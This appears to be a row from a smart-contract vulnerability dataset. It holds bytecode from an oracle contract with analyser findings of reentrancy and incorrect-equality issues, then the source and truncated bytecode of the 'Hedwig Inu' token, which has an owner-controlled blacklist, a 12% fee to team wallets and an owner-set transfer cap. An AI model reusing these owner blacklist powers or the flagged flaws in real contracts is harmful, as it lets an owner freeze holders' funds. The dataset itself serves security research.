0000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b60006001819055507f1b55ba3aa851a46be3b365aee5b5c140edd620d578922f3e8466d2cbd96f954b60405160405180910390a1565b60006020528060005260406000206000915090505481565b7f000000000000000000000000000000000000000000000000000000000000001281565b7f000000000000000000000000000000000000000000000000000000000000001281565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414612104576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f554e4956324c504f7261636c652f6e6f742d617574686f72697a65640000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156121a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f554e4956324c504f7261636c652f6e6f2d636f6e74726163742d30000000000081525060200191505060405180910390fd5b6001600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fff6cae96040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561225c57600080fd5b505af1158015612270573d6000803e3d6000fd5b505050506000806000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b815260040160606040518083038186803b1580156122e157600080fd5b505afa1580156122f5573d6000803e3d6000fd5b505050506040513d606081101561230b57600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050509250925092506000836dffffffffffffffffffffffffffff1611801561236657506000826dffffffffffffffffffffffffffff16115b6123d8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f554e4956324c504f7261636c652f696e76616c69642d7265736572766573000081525060200191505060405180910390fd5b809350428463ffffffff16146123ed57600080fd5b601260ff167f000000000000000000000000000000000000000000000000000000000000001260ff16146124615761244960127f000000000000000000000000000000000000000000000000000000000000001260ff166128fa565b600a0a836dffffffffffffffffffffffffffff160292505b601260ff167f000000000000000000000000000000000000000000000000000000000000001260ff16146124d5576124bd60127f000000000000000000000000000000000000000000000000000000000000001260ff166128fa565b600a0a826dffffffffffffffffffffffffffff160291505b6000612501846dffffffffffffffffffffffffffff16846dffffffffffffffffffffffffffff1661297d565b90506000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166357de26a46040518163ffffffff1660e01b815260040160206040518083038186803b15801561256d57600080fd5b505afa158015612581573d6000803e3d6000fd5b505050506040513d602081101561259757600080fd5b810190808051906020019092919050505090506000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166357de26a46040518163ffffffff1660e01b815260040160206040518083038186803b15801561261457600080fd5b505afa158015612628573d6000803e3d6000fd5b505050506040513d602081101561263e57600080fd5b8101908080519060200190929190505050905060008214156126ab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b126024913960400191505060405180910390fd5b6000811415612705576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612b5c6024913960400191505060405180910390fd5b600061272261271d856127188587612a12565b612a4a565b612a8a565b90506000670de0b6b3a76400006127398684612a12565b8161274057fe5b0490506000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156127ad57600080fd5b505afa1580156127c1573d6000803e3d6000fd5b505050506040513d60208110156127d757600080fd5b8101908080519060200190929190505050905060008111612843576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612aed6025913960400191505060405180910390fd5b6128686128626128538588612a4a565b61285d8588612a4a565b612877565b82612a12565b9a505050505050505050509091565b60008282840191508110156128f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f64732d6d6174682d6164642d6f766572666c6f7700000000000000000000000081525060200191505060405180910390fd5b92915050565b6000828284039150811115612977576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f64732d6d6174682d7375622d756e646572666c6f77000000000000000000000081525060200191505060405180910390fd5b92915050565b60008082148061299a575082828385029250828161299757fe5b04145b612a0c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f64732d6d6174682d6d756c2d6f766572666c6f7700000000000000000000000081525060200191505060405180910390fd5b92915050565b600081612a3a612a2a85670de0b6b3a764000061297d565b60028581612a3457fe5b04612877565b81612a4157fe5b04905092915050565b6000670de0b6b3a7640000612a7a612a62858561297d565b6002670de0b6b3a764000081612a7457fe5b04612877565b81612a8157fe5b04905092915050565b60006003821115612ad9578190506000600160028481612aa657fe5b040190505b81811015612ad357809150600281828581612ac257fe5b040181612acb57fe5b049050612aab565b50612ae7565b60008214612ae657600190505b5b91905056fe554e4956324c504f7261636c652f696e76616c69642d6c702d746f6b656e2d737570706c79554e4956324c504f7261636c652f696e76616c69642d6f7261636c652d302d7072696365554e4956324c504f7261636c652f636f6e74726163742d6e6f742d77686974656c6973746564554e4956324c504f7261636c652f696e76616c69642d6f7261636c652d312d7072696365a2646970667358221220e599d708073da5d75f40a1cf8a338fb7b59c9d8f808932a3645acb9baf2d766264736f6c634300060b0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 1,478 |
0x103b4eb7b8ca2350643b9cfd4c0064039856643d | /**
*Submitted for verification at Etherscan.io on 2021-07-13
*/
/*
_
' ) ) /'
/' /' /'
,/' /' ____ _____,/'. . , , O ____
/`---,/' /' ) /' /' | |/ / /' /' )
/' /' /(___,/' /' /' | /| /' /' /' /'
(,/' (_,(________(___,/(__ _|/' |/(__(__(___,/(__
/'
/ /'
(___,/'
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract HedwigInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Hedwig Inu";
string private constant _symbol = "Hedwig";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _devFund;
address payable private _marketingFunds;
address payable private _buybackWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable devFundAddr, address payable marketingFundAddr, address payable buybackAddr) {
_devFund = devFundAddr;
_marketingFunds = marketingFundAddr;
_buybackWalletAddress = buybackAddr;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_devFund] = true;
_isExcludedFromFee[_marketingFunds] = true;
_isExcludedFromFee[_buybackWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to] && !bots[msg.sender]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function isExcluded(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function isBlackListed(address account) public view returns (bool) {
return bots[account];
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_devFund.transfer(amount.mul(4).div(10));
_marketingFunds.transfer(amount.mul(4).div(10));
_buybackWalletAddress.transfer(amount.mul(2).div(10));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _devFund);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _devFund);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 10);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x6080604052600436106101235760003560e01c80638da5cb5b116100a0578063c9567bf911610064578063c9567bf9146103ba578063cba0e996146103d1578063d543dbeb1461040e578063dd62ed3e14610437578063e47d6060146104745761012a565b80638da5cb5b146102e757806395d89b4114610312578063a9059cbb1461033d578063b515566a1461037a578063c3c8cd80146103a35761012a565b8063313ce567116100e7578063313ce567146102285780635932ead1146102535780636fc3eaec1461027c57806370a0823114610293578063715018a6146102d05761012a565b806306fdde031461012f578063095ea7b31461015a57806318160ddd1461019757806323b872dd146101c2578063273123b7146101ff5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b506101446104b1565b6040516101519190613124565b60405180910390f35b34801561016657600080fd5b50610181600480360381019061017c9190612c47565b6104ee565b60405161018e9190613109565b60405180910390f35b3480156101a357600080fd5b506101ac61050c565b6040516101b991906132c6565b60405180910390f35b3480156101ce57600080fd5b506101e960048036038101906101e49190612bf8565b61051d565b6040516101f69190613109565b60405180910390f35b34801561020b57600080fd5b5061022660048036038101906102219190612b6a565b6105f6565b005b34801561023457600080fd5b5061023d6106e6565b60405161024a919061333b565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612cc4565b6106ef565b005b34801561028857600080fd5b506102916107a1565b005b34801561029f57600080fd5b506102ba60048036038101906102b59190612b6a565b610813565b6040516102c791906132c6565b60405180910390f35b3480156102dc57600080fd5b506102e5610864565b005b3480156102f357600080fd5b506102fc6109b7565b604051610309919061303b565b60405180910390f35b34801561031e57600080fd5b506103276109e0565b6040516103349190613124565b60405180910390f35b34801561034957600080fd5b50610364600480360381019061035f9190612c47565b610a1d565b6040516103719190613109565b60405180910390f35b34801561038657600080fd5b506103a1600480360381019061039c9190612c83565b610a3b565b005b3480156103af57600080fd5b506103b8610b8b565b005b3480156103c657600080fd5b506103cf610c05565b005b3480156103dd57600080fd5b506103f860048036038101906103f39190612b6a565b611161565b6040516104059190613109565b60405180910390f35b34801561041a57600080fd5b5061043560048036038101906104309190612d16565b6111b7565b005b34801561044357600080fd5b5061045e60048036038101906104599190612bbc565b611300565b60405161046b91906132c6565b60405180910390f35b34801561048057600080fd5b5061049b60048036038101906104969190612b6a565b611387565b6040516104a89190613109565b60405180910390f35b60606040518060400160405280600a81526020017f48656477696720496e7500000000000000000000000000000000000000000000815250905090565b60006105026104fb6113dd565b84846113e5565b6001905092915050565b6000683635c9adc5dea00000905090565b600061052a8484846115b0565b6105eb846105366113dd565b6105e6856040518060600160405280602881526020016139ff60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061059c6113dd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611dc59092919063ffffffff16565b6113e5565b600190509392505050565b6105fe6113dd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461068b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161068290613206565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106f76113dd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610784576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077b90613206565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107e26113dd565b73ffffffffffffffffffffffffffffffffffffffff161461080257600080fd5b600047905061081081611e29565b50565b600061085d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fd9565b9050919050565b61086c6113dd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f090613206565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4865647769670000000000000000000000000000000000000000000000000000815250905090565b6000610a31610a2a6113dd565b84846115b0565b6001905092915050565b610a436113dd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ad0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac790613206565b60405180910390fd5b60005b8151811015610b87576001600a6000848481518110610b1b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b7f906135dc565b915050610ad3565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bcc6113dd565b73ffffffffffffffffffffffffffffffffffffffff1614610bec57600080fd5b6000610bf730610813565b9050610c0281612047565b50565b610c0d6113dd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9190613206565b60405180910390fd5b601060149054906101000a900460ff1615610cea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce190613286565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610d7a30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006113e5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610dc057600080fd5b505afa158015610dd4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610df89190612b93565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610e5a57600080fd5b505afa158015610e6e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e929190612b93565b6040518363ffffffff1660e01b8152600401610eaf929190613056565b602060405180830381600087803b158015610ec957600080fd5b505af1158015610edd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f019190612b93565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f8a30610813565b600080610f956109b7565b426040518863ffffffff1660e01b8152600401610fb7969594939291906130a8565b6060604051808303818588803b158015610fd057600080fd5b505af1158015610fe4573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110099190612d3f565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff021916908315150217905550678ac7230489e800006011819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161110b92919061307f565b602060405180830381600087803b15801561112557600080fd5b505af1158015611139573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061115d9190612ced565b5050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6111bf6113dd565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461124c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124390613206565b60405180910390fd5b6000811161128f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611286906131c6565b60405180910390fd5b6112be60646112b083683635c9adc5dea0000061234190919063ffffffff16565b6123bc90919063ffffffff16565b6011819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6011546040516112f591906132c6565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611455576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144c90613266565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114bc90613186565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115a391906132c6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611620576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161790613246565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611690576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168790613146565b60405180910390fd5b600081116116d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ca90613226565b60405180910390fd5b6116db6109b7565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561174957506117196109b7565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611d0257601060179054906101000a900460ff161561197c573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117cb57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156118255750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561187f5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561197b57600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166118c56113dd565b73ffffffffffffffffffffffffffffffffffffffff16148061193b5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166119236113dd565b73ffffffffffffffffffffffffffffffffffffffff16145b61197a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611971906132a6565b60405180910390fd5b5b5b60115481111561198b57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a2f5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a855750600a60003373fff